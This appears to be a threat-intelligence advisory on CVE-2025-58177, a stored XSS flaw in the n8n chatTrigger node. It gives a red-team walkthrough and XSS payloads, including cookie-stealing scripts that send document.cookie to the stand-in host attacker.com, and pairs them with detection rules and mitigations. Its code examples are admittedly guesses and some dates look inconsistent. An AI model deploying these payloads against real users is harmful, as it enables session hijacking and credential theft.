CVE-2025-58177

Executive Summary

CVE-2025-58177 is a stored cross-site scripting (XSS) vulnerability in the n8n open-source workflow automation platform, affecting versions from 1.24.0 up to (but not including) 1.107.0. The flaw resides in the @n8n/n8n-nodes-langchain.chatTrigger node, where an authorized user can inject malicious JavaScript into the initialMessages field. When the node is configured with public access, any user visiting the resulting public chat URL will execute the injected script in their browser. This can be leveraged for phishing attacks, session hijacking, or theft of sensitive data. The vulnerability has a CVSS score of 5.4 (Medium) and is fixed in version 1.107.0. As a temporary workaround, the affected chatTrigger node can be disabled.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users who install n8n via npm are directly affected. The vulnerability is introduced through the @n8n/n8n-nodes-langchain package, which is a core dependency. Organizations should verify their npm lockfiles and ensure they are not pinning to a vulnerable version. No malicious packages have been reported in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs an authorized n8n user account.
• User Interaction (UI): Required – The victim must visit the public chat URL.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., cookies, session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., phishing forms).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. Exploitation requires an authenticated user to configure the malicious node, but the impact on visitors is significant due to potential credential theft.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the chatTrigger node of the LangChain integration. The node allows users to define initialMessages that are displayed when a chat session starts. These messages are stored in the n8n database and rendered in the browser when a user accesses the public chat URL.

Root Cause: The initialMessages field is not properly sanitized or escaped before being rendered in the HTML context. An attacker can inject arbitrary HTML/JavaScript, such as:

<img src=x onerror=alert('XSS')>

or

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Attack Flow:

1. An authenticated n8n user creates or modifies a workflow containing the chatTrigger node.
2. The user sets the initialMessages field to a malicious payload.
3. The user enables public access for the chat node.
4. The attacker (or victim) visits the public chat URL.
5. The malicious script executes in the victim's browser, potentially stealing cookies, session tokens, or performing phishing.

Why Public Access is Key: The vulnerability is only exploitable when the chat node is exposed publicly. If the node is restricted to authenticated users only, the XSS would only affect other authorized users, reducing the attack surface.

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 1.107.0): The initialMessages field is likely rendered directly into the HTML template without sanitization. For example:

// Vulnerable: Direct interpolation
const html = `<div class="message">${initialMessage.text}</div>`;

Patched Code (n8n >= 1.107.0): The fix introduces proper output encoding or sanitization. For example:

// Patched: Using a sanitization library
import DOMPurify from 'dompurify';
const safeHtml = DOMPurify.sanitize(initialMessage.text);
const html = `<div class="message">${safeHtml}</div>`;

The exact patch may involve using a templating engine with auto-escaping or a dedicated XSS filter.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an n8n instance (version 1.24.0 to 1.106.x) with an authorized user account.
• Ability to create or modify workflows.

Steps:

1. Log in to n8n as an authorized user.
2. Create a new workflow and add the chatTrigger node.
3. In the node configuration, set the initialMessages field to a malicious payload. Example:

   [
     {
       "text": "<img src=x onerror=alert('XSS')>"
     }
   ]
   

4. Enable public access for the chat node.
5. Copy the public chat URL.
6. Send the URL to the victim (e.g., via email or social engineering).
7. When the victim visits the URL, the XSS payload executes.

Advanced Payload (Cookie Theft):

[
  {
    "text": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
  }
]

Blue Team (Defense & Detection)

Detection:

• Monitor n8n logs for unusual initialMessages content containing HTML tags or JavaScript.
• Use web application firewalls (WAF) to block common XSS patterns in chat URLs.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search n8n database for workflows with chatTrigger nodes that have initialMessages containing suspicious strings.
• Review n8n audit logs for modifications to chatTrigger nodes by non-admin users.

Mitigation:

• Immediately upgrade to n8n version 1.107.0 or later.
• If upgrade is not possible, disable the chatTrigger node in all workflows.
• Restrict public access to chat nodes unless absolutely necessary.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from n8n server to attacker-controlled domains (e.g., attacker.com/steal).
• Logs: n8n workflow logs containing HTML/JavaScript in initialMessages field.
• File System: Modified workflow JSON files with XSS payloads.
• Browser: Unusual JavaScript execution in the context of the n8n chat URL.

Example IOC (Log Entry):

[2025-03-15 10:00:00] Workflow "ChatBot" modified by user "attacker" - initialMessages: ["<img src=x onerror=alert('XSS')>"]

Detection Engineering

YARA Rule

rule CVE_2025_58177_XSS_InitialMessages {
    meta:
        description = "Detects XSS payloads in n8n initialMessages field"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-58177"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:/i
    condition:
        any of them
}

Sigma Rule

title: n8n Stored XSS via chatTrigger initialMessages
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects potential XSS payloads in n8n workflow configurations
author: Valters IT
date: 2025-03-15
logsource:
    category: application
    product: n8n
detection:
    selection:
        EventID: 1001  # Example: Workflow modification event
        WorkflowNode: "chatTrigger"
        initialMessages|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58177 n8n XSS Payload in Chat URL"; flow:to_server,established; content:"/chat/"; http_uri; pcre:"/<script|<img[^>]*onerror|<svg[^>]*onload/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade n8n to version 1.107.0 or later. This is the only complete fix.
2. Disable the chatTrigger node in all workflows if upgrade is not possible.
3. Review all workflows for unauthorized modifications to chatTrigger nodes.

Long-Term Measures:

• Implement strict input validation and output encoding for all user-controlled fields.
• Enable Content Security Policy (CSP) headers with script-src 'self' to mitigate XSS.
• Restrict public access to chat nodes using n8n's built-in authentication.
• Conduct regular security audits of n8n workflows and configurations.

Workaround: If upgrading is delayed, disable the chatTrigger node via the n8n UI or API. No other workarounds are known.

Valters IT
DevSecOps & Cyber Threat Intelligence